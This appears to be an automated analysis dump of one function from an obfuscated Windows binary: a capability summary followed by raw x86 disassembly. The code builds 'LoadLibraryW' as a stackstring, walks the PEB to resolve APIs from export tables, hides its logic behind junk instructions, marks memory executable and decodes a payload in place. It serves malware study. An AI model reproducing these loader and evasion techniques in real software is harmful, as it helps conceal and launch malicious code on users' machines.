Function at 0x513c54
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
call 0x513c54
add byte [edx + 0x36], cl
inc esp
dec esp
cmp eax, 0x83414950
les eax, [ebx + ebx*2]
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
push edi
add esp, 4
and edx, 0xd485
xor edx, 0x1375d
or edx, 0xee69
pop edx
push edx
add edx, 0x9bc9
pop edx
push esi
push ebx
add esp, 4
and esi, 0x122ca
sub esi, 0x13759
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x513d25
mov dword [ebp - 0x710], 0
jmp 0x513fcc
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edx
push edi
add esp, 4
xor edx, 0xe4ec
pop edx
push esi
push esi
add esp, 4
xor esi, 0x87be
pop esi
push esi
or esi, 0x118a6
jmp 0x513d5c
pop esi
push ecx
push edx
add esp, 4
or ecx, 0x137d9
pop ecx
cmp dword [ebp - 0xc58], 0
jne 0x513d81
mov dword [ebp - 0x710], 0
jmp 0x513fcc
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edx
push ecx
add esp, 4
add edx, 0xd70
pop edx
push edx
push ecx
add esp, 4
sub edx, 0x485c
sub edx, 0x6b2c
xor edx, 0x7f04
pop edx
push eax
add eax, 0x14466
and eax, 0x9fd4
pop eax
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
push edx
add esp, 4
jmp 0x513df6
add edx, 0x16019
xor edx, 0x618
and edx, 0x14d09
pop edx
push edx
push edx
add esp, 4
xor edx, 0xd94e
sub edx, 0xfea5
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
push edi
add esp, 4
and edx, 0x2f9c
add edx, 0xa9e3
xor edx, 0xfd34
pop edx
push ecx
add ecx, 0x18693
xor ecx, 0x14e22
xor ecx, 0x8b7d
and ecx, 0xafa4
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x513ec1
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x513f1b
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x513de9
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x513de9
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x513f05
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x513f0f
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x513f64
push eax
push edi
add esp, 4
xor eax, 0x7989
and eax, 0x232
pop eax
push ebx
push edi
add esp, 4
xor ebx, 0x3a98
pop ebx
push eax
sub eax, 0x1456b
or eax, 0x7af9
or eax, 0xe69c
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x513fcc
push edi
push eax
add esp, 4
and edi, 0x9867
or edi, 0x1d54
xor edi, 0xae0f
pop edi
push ecx
and ecx, 0xce4f
or ecx, 0x1497e
sub ecx, 0x172a0
and ecx, 0x3d38
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x513fc2
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x513d8d
mov dword [ebp - 0x710], 0
push edi
push edx
add esp, 4
sub edi, 0xc853
add edi, 0xf2fc
and edi, 0x25cd
pop edi
push ebx
call 0x513ff3
add byte [edx + 0x3f], cl
xor bh, byte [ecx + ecx*2]
xor al, 0x4d
dec edi
add esp, 4
jmp 0x513ffd
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x514048
push esi
push edx
add esp, 4
and esi, 0x13261
xor esi, 0x4c60
pop esi
push eax
add eax, 0x1355b
pop eax
push eax
push ebx
add esp, 4
call 0x514035
add byte [esi + 0x4a], cl
xor eax, dword [ebx + 0x47]
inc ebp
xor al, 0x39
add esp, 4
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x514b70
push ebx
jmp 0x514050
xor ebx, 0xac2
pop ebx
push esi
push ecx
add esp, 4
sub esi, 0xcea4
pop esi
push ecx
or ecx, 0xc414
pop ecx
push edx
push edi
add esp, 4
jmp 0x514079
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x5140b9
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x5143aa
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x5140e1
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x5143aa
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x514113
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x5143aa
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x514138
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x5143aa
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x514192
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x51439e
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x514202
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x5142b4
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x5142b4
push eax
call 0x51423e
add byte [ebx + 0x4a], al
push eax
xor al, 0x32
dec ebx
dec edx
inc ebx
add esp, 4
pop eax
push edi
push ebx
add esp, 4
or edi, 0x10636
or edi, 0x439a
jmp 0x51425a
add edi, 0x23f2
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x5142a6
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x5142ad
jmp 0x5141f3
jmp 0x5142b4
push esi
and esi, 0xd92f
add esi, 0x8ac3
add esi, 0x291b
pop esi
push eax
jmp 0x5142cf
or eax, 0x89cd
call 0x5142e2
add byte [esi + 0x33], cl
push eax
xor bh, byte [edx]
aaa
inc ecx
add esp, 4
pop eax
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x514313
mov dword [ebp - 0xc5c], 0
jmp 0x514382
push esi
push edx
add esp, 4
sub esi, 0x5bc1
or esi, 0xf3e9
add esi, 0x316
pop esi
push ebx
or ebx, 0x8fc9
xor ebx, 0x124e2
and ebx, 0x4674
or ebx, 0x15242
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x514378
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x514382
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x514399
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x5143aa
jmp 0x514183
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x514485
push edi
call 0x5143c6
add byte [ebx + 0x4f], al
cmp al, 0x50
inc esp
inc ebx
inc edi
cmp dword [ebx - 0x87efb3c], eax
popal
push ss
add dword [eax], eax
sub edi, 0xd94f
call 0x5143e5
add byte [esi], dh
dec ebp
inc ebx
inc ebx
xor esi, dword [ebx]
xor edi, dword [ecx]
inc eax
xor al, byte [ebx - 0x74a0fb3c]
lea edi, [eax]
cld
invalid
push ebx
sub ebx, 0xfd00
and ebx, 0xf80b
pop ebx
push edx
push edi
add esp, 4
and edx, 0x18557
jmp 0x5144a3
call 0x5144b3
add byte [edx], bh
inc edx
cmp al, 0x3a
dec eax
inc eax
xor dl, byte [eax + 0x4e]
xor eax, dword [ebx + 0x645a04c4]
mov ecx, dword [0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push eax
xor eax, 0xa4dd
sub eax, 0x18558
sub eax, 0x14811
pop eax
push ecx
push edi
add esp, 4
sub ecx, 0x38d6
xor ecx, 0x7361
or ecx, 0xc4cf
add ecx, 0x507e
pop ecx
cmp dword [ebp - 0x1574], 0
jne 0x514529
mov dword [ebp - 0x2a8], 0
jmp 0x5147d0
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
push edx
add esp, 4
sub ecx, 0xcd89
add ecx, 0x6735
sub ecx, 0x16cf5
pop ecx
push esi
and esi, 0x15a98
add esi, 0xe0dd
and esi, 0x13d82
sub esi, 0x9293
pop esi
cmp dword [ebp - 0xc68], 0
jne 0x514585
mov dword [ebp - 0x2a8], 0
jmp 0x5147d0
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ebx
push ecx
add esp, 4
and ebx, 0x220
pop ebx
push esi
xor esi, 0x14bb9
and esi, 0x1d7e
pop esi
push ebx
push edi
add esp, 4
and ebx, 0x11655
xor ebx, 0x13b3c
or ebx, 0xfa06
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edx
or edx, 0x16659
pop edx
push eax
push esi
add esp, 4
xor eax, 0x14e61
sub eax, 0x7328
xor eax, 0x13bfa
pop eax
push esi
push edi
add esp, 4
or esi, 0xad18
xor esi, 0x2975
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push esi
add esi, 0xb73c
pop esi
push eax
push ebx
add esp, 4
add eax, 0x11f6b
sub eax, 0x175b0
pop eax
push ecx
xor ecx, 0x1380c
call 0x5146a4
add byte [eax], bh
inc eax
dec ebx
dec edx
dec eax
dec esi
add esp, 4
pop ecx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x5146c5
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x51471f
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x5145ed
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x5145ed
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x514709
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x514713
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x514768
push ebx
push ecx
add esp, 4
and ebx, 0xd4e7
jmp 0x51473b
pop ebx
push edi
push ecx
add esp, 4
add edi, 0xe968
sub edi, 0x403b
and edi, 0x42c0
add edi, 0x9f0b
pop edi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x5147d0
push ecx
or ecx, 0x6d52
xor ecx, 0xc2aa
pop ecx
push edx
push edi
add esp, 4
and edx, 0x13d10
pop edx
push ecx
push ebx
add esp, 4
and ecx, 0xd1fd
xor ecx, 0x15280
xor ecx, 0x15d91
pop ecx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x5147c6
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x514591
mov dword [ebp - 0x2a8], 0
push edi
add edi, 0x9438
pop edi
push edx
sub edx, 0x12cbd
pop edx
push ebx
add ebx, 0x21de
and ebx, 0xe35a
and ebx, 0x1588b
and ebx, 0x167ea
pop ebx
push eax
add eax, 0x1356a
pop eax
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edx
sub edx, 0x4d63
pop edx
push eax
push esi
add esp, 4
call 0x51482b
add byte [eax + 0x39], cl
dec ebx
xor al, 0x37
dec edi
dec ecx
add esp, 4
pop eax
push esi
sub esi, 0x12c8
add esi, 0x71cf
xor esi, 0x3c15
pop esi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x514873
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x514b64
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x51489b
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x514b64
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x5148cd
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x514b64
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x5148f2
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x514b64
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x51494c
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x514b58
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x5149bc
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x514a6e
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x514a6e
push edx
push ecx
add esp, 4
or edx, 0x136d3
add edx, 0x5454
jmp 0x514a02
pop edx
push edi
jmp 0x514a0a
pop edi
push edi
or edi, 0xe2f5
pop edi
push edx
and edx, 0x91d
pop edx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x514a60
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x514a67
jmp 0x5149ad
jmp 0x514a6e
push ebx
sub ebx, 0x596
or ebx, 0x5634
pop ebx
push esi
push esi
add esp, 4
call 0x514a8d
add byte [ebp + 0x47], al
xor eax, 0x8332503a
les eax, [ebx + ebp*8]
add al, 0x45
dec ecx
xor eax, 0x3f07eb3a
dec edx
inc esp
push eax
dec ecx
cmp al, byte [ebp + 0x5e]
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x514acd
mov dword [ebp - 0xc6c], 0
jmp 0x514b3c
push esi
xor esi, 0x168d8
or esi, 0x4b7b
add esi, 0x374d
jmp 0x514ae7
pop esi
push ebx
push esi
add esp, 4
sub ebx, 0x15e5c
pop ebx
push ebx
push eax
add esp, 4
jmp 0x514afe
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x514b32
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x514b3c
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x514b53
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x514b64
jmp 0x51493d
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
call 0x514b80
add byte [ebx], bh
dec ebp
dec edi
dec esi
xor al, 0x3e
inc eax
aas
xor al, byte [ebx - 0x1d7efb3c]
clc
daa
add dword [eax], eax
pop edx
push esi
push eax
add esp, 4
or esi, 0x60f0
xor esi, 0x6642
or esi, 0x17070
pop esi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x514c15
push ebx
sub ebx, 0x79e1
pop ebx
push edi
push edi
add esp, 4
call 0x514beb
add byte [edx], dh
dec esp
inc ebp
xor ecx, dword [eax + 0x34]
cmp dword [edi], esi
add esp, 4
add edi, 0xad8c
sub edi, 0x1326a
and edi, 0xb9d3
pop edi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x514c32
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x514c8e
push edx
push eax
add esp, 4
sub edx, 0xfe6e
and edx, 0x17148
xor edx, 0x161f2
xor edx, 0x16b7a
pop edx
push eax
or eax, 0xf2fa
or eax, 0x88ab
and eax, 0xbd2d
pop eax
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x514c23
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x514d06
push eax
call 0x514cd1
add byte [edi + 0x39], al
aaa
dec ecx
inc ebx
aaa
inc ebp
dec eax
cmp bh, byte [edx]
add esp, 4
xor eax, 0x13edf
sub eax, 0x1261b
pop eax
push ecx
call 0x514cee
add byte [ecx + 0x42], cl
aaa
inc edi
cmp dword [edi], edi
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push eax
push esi
add esp, 4
or eax, 0x1603e
pop eax
push edx
xor edx, 0x1649e
and edx, 0xd558
sub edx, 0x14f7c
pop edx
push edx
push esi
add esp, 4
or edx, 0xdb07
and edx, 0x33df
pop edx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff05ff
pop ecx
push esi
xchg dh, cl
mov dword [ecx + 5], ecx
add eax, 0x5050ded
add eax, 0x55463d05
push ebx
inc edx
aas
cmp byte [eax - 0x1979f637], cl
adc eax, 0x86050629
mov byte [eax], 0x25
push es
add eax, 0xeb865b5e
jl 0x514d9a
push es
add eax, 0xf0cfcb86
add eax, 0x70bf6305
add eax, 0x8e6b0505
lcall 0x6abd, 0x404eec1
add eax, 0x8e6b0505
mov al, bl
out dx, al
add al, 4
mov esi, 0x5050577
imul ecx, dword [esi + 0x4eec592], 4
add al, 4
mov edi, 0x5050573
imul ecx, dword [esi + 0x4eec79a], 4
mov ebp, 0x505056a
imul ecx, dword [esi + 0x4eec98a], 4
mov esi, 0x5050571
imul ecx, dword [esi + 0x4eecb92], 4
mov edi, 0x5050538
imul ecx, dword [esi + 0x4eecd9a], 4
mov ebp, 0x5050537
imul ecx, dword [esi + 0x4eecf8a], 4
mov esi, 0x5050533
imul ecx, dword [esi + 0x4eed192], 4
mov edi, 0x5050569
imul ecx, dword [esi + 0x4eed39a], 4
mov ebp, 0x5050571
imul ecx, dword [esi + 0x4eed58a], 4
mov esi, 0x5050571
imul ecx, dword [esi + 0x4eed792], 4
cmp bh, dl
imul ecx, dword [esi + 0x4eed99a], 4
retf